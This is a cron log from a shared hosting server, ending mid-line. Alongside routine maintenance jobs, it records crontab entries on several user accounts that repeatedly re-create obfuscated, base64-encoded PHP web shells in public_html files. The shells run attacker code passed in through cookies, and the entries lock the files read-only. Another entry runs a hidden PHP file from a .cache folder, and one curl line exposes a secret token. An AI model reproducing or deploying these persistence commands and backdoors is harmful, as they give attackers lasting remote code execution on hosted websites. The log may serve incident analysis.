Mar  1 21:02:01 medusa CROND[22149]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:02:01 medusa CROND[22150]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:02:01 medusa CROND[22144]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:02:01 medusa CROND[22145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:03:01 medusa CROND[8209]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:03:01 medusa CROND[8210]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:03:01 medusa CROND[8213]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:03:01 medusa CROND[8214]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:03:01 medusa CROND[8215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:03:01 medusa CROND[8217]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:03:01 medusa CROND[8216]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:03:01 medusa CROND[8223]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:03:01 medusa CROND[8225]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:03:01 medusa CROND[8230]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:03:01 medusa CROND[8232]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:03:01 medusa CROND[8222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:04:01 medusa CROND[26169]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:04:01 medusa CROND[26175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:04:01 medusa CROND[26233]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:04:01 medusa CROND[26231]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:04:01 medusa CROND[26244]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:04:01 medusa CROND[26246]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:04:01 medusa CROND[26248]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:04:01 medusa CROND[26250]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:04:01 medusa CROND[26247]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:04:01 medusa CROND[26249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:04:01 medusa CROND[26256]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:04:01 medusa CROND[26259]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:04:01 medusa CROND[26266]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdl